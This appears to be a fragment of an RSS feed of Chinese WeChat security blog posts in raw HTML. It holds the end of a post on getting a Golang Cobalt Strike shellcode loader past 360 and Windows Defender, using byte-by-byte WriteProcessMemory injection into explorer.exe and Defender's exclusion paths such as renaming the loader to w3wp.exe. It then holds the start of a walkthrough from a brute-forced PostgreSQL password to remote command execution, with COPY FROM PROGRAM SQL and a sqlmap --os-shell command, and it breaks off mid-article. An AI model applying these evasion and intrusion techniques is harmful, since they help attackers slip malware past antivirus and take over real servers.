Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">使用傀儡进程过了360之后想看看能不能过Windows Defender，于是卸载了360，又重新测试了一遍。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">首先是常规扫描，Windows Defender没有扫描出来，这很正常，毕竟加载器读取的shellcode是加密混淆过的，但是一执行加载器Windows Defender就直接产生cs告警，如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9823788546255506" data-s="300,640" style="" data-type="png" data-w="454" src="https://wechat2rss.xlab.app/img-proxy/?k=d9589bf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYYgSibrqt3G1CVoqavO1940fGThzm7RqpYhwOIkniaWFSNgg9FsDxjMFQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">根据Windows Defender的告警可以知道它发现了我们的shellcode，发现的途径大概有两种，一种是在写入进程内存的过程中发现的，第二种是写完后Windows Defender检查傀儡进程内存发现的。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">一开始我以为是第二种情况，猜想可以将加密后的shellcode和解密程序写入进程内存中，但因技术有限所以没有成功实现。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">后在安全客看到一篇过Windows Defender的文章，文章介绍某些API会触发Windows Defender的内存扫描，但像explorer.exe这种拥有特殊权限的进程就算调用了某些API也不会触发扫描：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5360576923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=bccac3aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYKbH741X0dIEAhV3mB4wOhicejdSPiaBPVm5icxpFfHiaT8ns7JcX0cHUNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">知道了Windows Defender不会扫描explorer.exe，那告警大概率是在写入shellcode时被Windows Defender检测到了。为了验证自己的想法，决定将shellcode逐字写入explorer.exe进程中，然后运行看是否能成功上线。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">只需将进程注入中写入shellcode的语句改成如下即可：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> i:=<span class="code-snippet__number">0</span>;i&lt;<span class="code-snippet__built_in">len</span>(s_code);i++{</span></code><code><span class="code-snippet_outer">    _, _, err = WriteProcessMemory.Call(<span class="code-snippet__keyword">uintptr</span>(pHandle), addr+(<span class="code-snippet__keyword">uintptr</span>)(i), (<span class="code-snippet__keyword">uintptr</span>)(unsafe.Pointer(&amp;s_code[i])), <span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">      syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"> }</span></code></pre></section><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">测试结果如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4495192307692308" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=88f03055&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYoiaScuk3Q0qSPSdFKD1IeGlJ7tLEgAhD4Y2ndr0ibW4ia5Xz6DZeicONkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">以上投机取巧的方式虽然过了Windows Defender，但24小时后再次测试发现，运行加载器挂起explorer.exe后Windows Defender又精确告警（明明已经关掉了上传样本功能），这真是太难受了。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">白名单过Defender</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">除了想方设法修改shellcode特征之外，还可以尝试通过Windows Defender白名单来bypass，这里参考了校长师傅bypass的文章。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">通过microsoft文档可以查看 Windows Server 2016 或更高版本上 Microsoft Defender 防病毒的排除项。</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\dfsr.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\dfsrs.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\Vmms.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\Vmwp.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\ntfrs.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\lsass.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%systemroot%\System32\dns.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%SystemRoot%\system32\inetsrv\w3wp.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%SystemRoot%\SysWOW64\inetsrv\w3wp.exe</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">%SystemDrive%\PHP5433\php-cgi.exe</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在文件路径不冲突的情况下，以上路径的木马应当都具有bypass的效果。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">这里以w3wp.exe做了个测试发现bypass成功（测试机没有w3wp.exe进程，所以这里是将加载器改名为w3wp.exe执行的）。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4807692307692308" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=93856ede&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibY2UI2gWxOJoa0El1jcqunkK5mFK4MoNJkVicjVVLMftH3hWk2Fe1lMOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">尝试webshell上传并执行也能成功上线。这里有个小坑，使用冰蝎上传exe时发现每次上传的样本都不完整导致无法执行exe，不知道这是冰蝎的问题还是Windows Defender做的鬼。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">于是换了个方式，将exe后缀改为txt上传，然后使用rename命令再改回来就可以成功上线。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4855769230769231" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=84414978&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYvAmqCmTOUpFLK0flApH0j5CvdT7ccykX2YLmQYIkPSq0EDck7vqGlw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><br/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">总结</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">目前使用Golang过360还是挺方便的，这也得益于360对Golang的&#34;友好态度&#34;。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">但对于能监控内存的Windows Defender来说，想要用傀儡、注入等方式来bypass并不是很理想，真是太难受了。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><strong><span style="box-sizing: border-box;">参考链接</span><span style="box-sizing: border-box;">：</span></strong><span style="box-sizing: border-box;"><br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><a href="https://www.t00ls.cc/viewthread.php?tid=59723&amp;highlight=%E5%85%8D%E6%9D%80" target="_blank">https://www.t00ls.cc/viewthread.php?tid=59723&amp;highlight=%E5%85%8D%E6%9D%80</a><br/><a href="https://www.t00ls.cc/viewthread.php?tid=61842&amp;highlight=%E5%85%8D%E6%9D%80" target="_blank">https://www.t00ls.cc/viewthread.php?tid=61842&amp;highlight=%E5%85%8D%E6%9D%80</a><br/><a href="https://www.anquanke.com/post/id/204344#h2-4" target="_blank">https://www.anquanke.com/post/id/204344#h2-4</a><br/><a href="https://docs.microsoft.com/" target="_blank">https://docs.microsoft.com/</a><br/><a href="https://mp.weixin.qq.com/s/KdtXIMcV0cZ2eyV3NJBvJg" target="_blank">https://mp.weixin.qq.com/s/KdtXIMcV0cZ2eyV3NJBvJg</a><br/><a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#summary" target="_blank">https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#summary</a><br/><a href="https://cloud.tencent.com/developer/article/1835022" target="_blank">https://cloud.tencent.com/developer/article/1835022</a><br/><span style="box-sizing: border-box;"></span></p><p><br/></p>



<p><a href="2247484035">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=39d563da&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247484035%26idx%3D1%26sn%3D66dacd48c87e15f6e841f4d010a61630%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Sep 2021 19:09:00 +0800</pubDate>
    </item>
    <item>
      <title>PostgreSQL从弱口令到RCE实录</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247484020&amp;idx=1&amp;sn=345d8dfb2fafbe16e713fc6558345a47</link>
      <description>PostgreSQL从弱口令到RCE实录</description>
      <content:encoded><![CDATA[<p>
原创 <span>huahua</span> <span>2021-09-11 11:41</span> <span style="display: inline-block;"></span>
</p>

<p>PostgreSQL从弱口令到RCE实录</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d7499de3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVwC1Wm1kudyT82up9AicnoWl9Z6nnEiadX5jo0JgCe5iazvrn78DSib2WWQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">前言</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">首先是外网爆破获取了PostgreSQL(9.1.24)的管理员账号密码，想通过UDF提权的时候却发现针对Windows平台网上没有编译其dll的教程，我找到的文章都是编译linux平台下.so的UDF。<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">最终经历种种挫折终于编译成功，并获取到了目标权限，由于比较有意思并且可以弥补部分互联网上关于此内容的空白，因此记录了下来。<br/></span></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">尝试突破</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">首先尝试一个CVE漏洞：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 删除并创建用于保存系统命令执行结果的表 </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">DROP</span> <span class="code-snippet__keyword">TABLE</span> <span class="code-snippet__keyword">IF</span> <span class="code-snippet__keyword">EXISTS</span> cmd_exec;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">TABLE</span> cmd_exec(cmd_output <span class="code-snippet__built_in">text</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 命令执行测试，多试几条</span></span></code><code><span class="code-snippet_outer">COPY cmd_exec FROM PROGRAM &#39;id&#39;;</span></code><code><span class="code-snippet_outer">COPY cmd_exec FROM PROGRAM &#39;whoami&#39;;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 查看结果</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">SELECT</span> * <span class="code-snippet__keyword">FROM</span> cmd_exec;</span></code></pre></section><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">然而目标并不存在此漏洞</span><span style="box-sizing: border-box;">，接着我尝试了使用sqlmap自动udf提权：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">python</span> sqlmap.py -d <span class="code-snippet__string">&#34;postgresql://postgres:123456@114.114.114.114:5432/postgres&#34;</span> --os-shell</span></code></pre></section><p><img data-ratio="0.31003678402522333" data-w="1903" data-type="png" 